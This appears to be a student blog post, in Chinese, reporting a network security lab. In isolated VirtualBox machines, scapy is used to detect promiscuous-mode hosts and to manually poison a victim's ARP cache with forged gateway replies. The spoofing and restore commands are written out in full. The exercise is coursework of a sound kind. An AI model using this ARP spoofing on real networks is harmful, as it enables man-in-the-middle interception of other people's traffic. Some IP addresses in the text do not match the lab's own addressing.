仓库源文站点原文


title: 2023网络安全作业chap0x04 description: 网络监听实验 slug: nsChap0x04 date: 2023-10-11 00:33:00+0800 image: assets/imgs/gitlab.png categories:

- cucStudy

tags:

- VirtualBox
- linux
- Kali
- ComputerNetworkSecurity

weight: 1 # You can add weight to some posts to override the default sorting (date descending)

comments: true

license: flase

math: true

toc: true

style:

keywords:

readingTime:

links:


网络监听实验

实验环境

网络拓扑

使用第一次实验中的internalNetwork1的lihanGatewayDebianlihanVictimKali1以及新配置的lihanAttackerKaliChap4

networkTopology

如图所示网络中的节点基本信息如下:

实验要求

实验过程

实验准备

确定在攻击者主机上提前安装好 scapy 并更新

pip3 install scapy[complete]

confirmScapy

实验一:检测局域网中的异常终端

  1. 在受害者主机上检查网卡的「混杂模式」是否启用
ip link show eth0

check1

输出结果里没有出现PROMISC字符串,未开启混杂模式

  1. 在攻击者主机上使用 scapy 发送 ARP 请求包,获取局域网中的主机信息
sudo scapy
pkt = promiscping("172.16.111.102")

promiscping1

  1. 开启该网卡的「混杂模式」
sudo ip link set eth0 promisc on

check2

此时会发现输出结果里多出来了 PROMISC

  1. 再次使用 scapy 发送 ARP 请求包,获取局域网中的主机信息
pkt = promiscping("172.16.111.102")

promiscping2

  1. 关闭该网卡的「混杂模式」
sudo ip link set eth0 promisc off
  1. 总结

使用wireshark分析:

wireshark1

promiscping命令会发送ARP who-has 请求,且没有指定目的主机的MAC地址,只有受害者主机开启混杂模式后,才能收到该请求包。

实验二:手工单步“毒化”目标主机的 ARP 缓存

获取当前局域网的网关 MAC 地址

  1. 构造一个 ARP 请求
arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst="172.16.111.1")
# 查看构造好的 ARP 请求报文详情
arpbroadcast.show()

arp1

  1. 发送 ARP 请求
recved = srp(arpbroadcast, timeout=2)

sendArp1

  1. 查看网关 MAC 地址
gw_mac = recved[0][0][1].hwsrc
gw_mac

gwMac

伪造网关的 ARP 响应包

  1. 发送给受害者主机 192.168.0.102,ARP 响应的目的 MAC 地址设置为攻击者主机的 MAC 地址
arpspoofed=Ether()/ARP(op=2, psrc="172.16.111.1", pdst="172.16.111.102", hwdst="08:00:27:ef:48:19")

arpspoofed.show()

arp2

  1. 发送 ARP 响应包
sendp(arpspoofed)

sendArp2

  1. 在受害者主机上查看 ARP 缓存

arpCache1

发现网关的 MAC 地址已被「替换」为攻击者主机的 MAC 地址

恢复受害者主机的 ARP 缓存

  1. 伪装网关给受害者发送 ARP 响应
restorepkt1 = Ether()/ARP(op=2, psrc="172.16.111.1", hwsrc="08:00:27:63:cd:72", pdst="172.16.111.102", hwdst="08:00:27:93:2e:67")

sendp(restorepkt1, count=100, inter=0.2)

restore1

  1. 伪装受害者给网关发送 ARP 响应
restorepkt2 = Ether()/ARP(op=2, pdst="172.16.111.1", hwdst="08:00:27:63:cd:72", psrc="172.16.111.102", hwsrc="08:00:27:93:2e:67")

sendp(restorepkt2, count=100, inter=0.2)

restore2

  1. 在受害者主机上准备“刷新”网关 ARP 记录
ping 192.168.0.1

ip neigh

restore3

实验问题

  1. 实验环境配置 配置实验环境时候,产生了一个疑问,网络拓扑中的switch如何实现。之前只配置过vbox中的几种网络模式,没有专门选择switch或者hub。

解决 在联网搜索及浏览上次实验时的笔记后,了解到,Vbox中不需要专门配置switch或者hub,多种网络模式分别对应着不同的网络拓扑结构,虚拟出了switch等,根据需要选择即可。实验中需要的网络拓扑,选择Internal Network(内部网络)即可。

  1. 网卡配置 配置攻击主机lihanAttackerKaliChap4的网卡时,发现不能获取ip地址。

解决 发现是因为自己没有开机Gateway主机,开机后,攻击主机可以获取到ip地址。

参考